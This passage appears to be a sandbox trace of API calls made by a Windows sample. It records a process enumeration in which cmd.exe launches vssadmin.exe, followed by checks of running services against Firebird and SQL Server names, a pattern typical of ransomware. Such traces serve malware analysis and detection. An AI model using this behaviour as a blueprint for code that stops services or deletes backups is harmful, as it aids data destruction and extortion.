(in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.876] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.876] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.876] lstrlenW (lpString="taskhost.exe") returned 12 [0060.876] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.877] lstrlenW (lpString="svchost.exe") returned 11 [0060.877] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.878] lstrlenW (lpString="taskeng.exe") returned 11 [0060.878] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.879] lstrlenW (lpString="taskhost.exe") returned 12 [0060.879] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0060.879] lstrlenW (lpString="chem venues.exe") returned 15 [0060.880] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0060.880] lstrlenW (lpString="month.exe") returned 9 [0060.880] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0060.881] lstrlenW (lpString="glasgow.exe") returned 11 [0060.881] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0060.882] lstrlenW (lpString="rubber.exe") returned 10 [0060.882] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0060.882] lstrlenW (lpString="petroleum.exe") returned 13 [0060.882] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0060.883] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0060.883] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0060.884] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0060.884] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0061.044] lstrlenW (lpString="batman_oliver.exe") returned 17 [0061.044] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0061.044] lstrlenW (lpString="formation.exe") returned 13 [0061.045] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0061.045] lstrlenW (lpString="whole.exe") returned 9 [0061.045] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0061.046] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0061.046] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0061.047] lstrlenW (lpString="disorder.exe") returned 12 [0061.047] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0061.047] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0061.047] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0061.048] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0061.048] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0061.049] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0061.049] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0061.049] lstrlenW (lpString="perspective.exe") returned 15 [0061.050] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0061.050] lstrlenW (lpString="demand-site.exe") returned 15 [0061.050] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0061.051] lstrlenW (lpString="attachment.exe") returned 14 [0061.051] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0061.051] lstrlenW (lpString="valid-permit.exe") returned 16 [0061.052] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0061.052] lstrlenW (lpString="knights.exe") returned 11 [0061.052] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.053] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.053] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0061.054] lstrlenW (lpString="ohbdap.exe") returned 10 [0061.054] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.054] lstrlenW (lpString="cmd.exe") returned 7 [0061.054] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.055] lstrlenW (lpString="conhost.exe") returned 11 [0061.055] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.056] lstrlenW (lpString="vssadmin.exe") returned 12 [0061.056] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.056] lstrlenW (lpString="VSSVC.exe") returned 9 [0061.056] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.057] lstrlenW (lpString="svchost.exe") returned 11 [0061.057] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0061.058] lstrlenW (lpString="LogonUI.exe") returned 11 [0061.058] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0061.058] CloseHandle (hObject=0x1dc) returned 1 [0061.058] Sleep (dwMilliseconds=0x1f4) [0062.302] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ff5e8 [0062.303] EnumServicesStatusExW (in: hSCManager=0x4ff5e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0062.303] GetLastError () returned 0xea [0062.303] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a2fd0 [0062.303] EnumServicesStatusExW (in: hSCManager=0x4ff5e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a2fd0, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a2fd0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0062.304] CloseServiceHandle (hSCObject=0x4ff5e8) returned 1 [0062.304] lstrlenW (lpString="Appinfo") returned 7 [0062.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.304] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.304] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.304] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.304] lstrlenW (lpString="AudioSrv") returned 8 [0062.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.304] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.304] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.304] lstrlenW (lpString="BFE") returned 3 [0062.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.304] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.305] lstrlenW (lpString="CryptSvc") returned 8 [0062.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.305] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.305] lstrlenW (lpString="CscService") returned 10 [0062.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.305] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.305] lstrlenW (lpString="DcomLaunch") returned 10 [0062.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.305] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.305] lstrlenW (lpString="Dhcp") returned 4 [0062.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.305] lstrlenW (lpString="Dnscache") returned 8 [0062.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.305] lstrlenW (lpString="DPS") returned 3 [0062.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.306] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.306] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.306] lstrlenW (lpString="eventlog") returned 8 [0062.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.313] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.313] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.313] lstrlenW (lpString="EventSystem") returned 11 [0062.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.313] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.313] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.313] lstrlenW (lpString="gpsvc") returned 5 [0062.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.313] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.313] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.314] lstrlenW (lpString="iphlpsvc") returned 8 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.314] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.314] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.314] lstrlenW (lpString="LanmanServer") returned 12 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.314] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.314] lstrlenW (lpString="lmhosts") returned 7 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.314] lstrlenW (lpString="MMCSS") returned 5 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.314] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.314] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.314] lstrlenW (lpString="MpsSvc") returned 6 [0062.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.315] lstrlenW (lpString="Netman") returned 6 [0062.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.315] lstrlenW (lpString="netprofm") returned 8 [0062.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.315] lstrlenW (lpString="NlaSvc") returned 6 [0062.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.315] lstrlenW (lpString="nsi") returned 3 [0062.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.315] lstrlenW (lpString="PcaSvc") returned 6 [0062.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.315] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.315] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.316] lstrlenW (lpString="PlugPlay") returned 8 [0062.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.316] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.316] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.316] lstrlenW (lpString="Power") returned 5 [0062.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.316] lstrlenW (lpString="ProfSvc") returned 7 [0062.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.316] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.316] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.316] lstrcmpiW (lpString1="sqlserveradhelper", 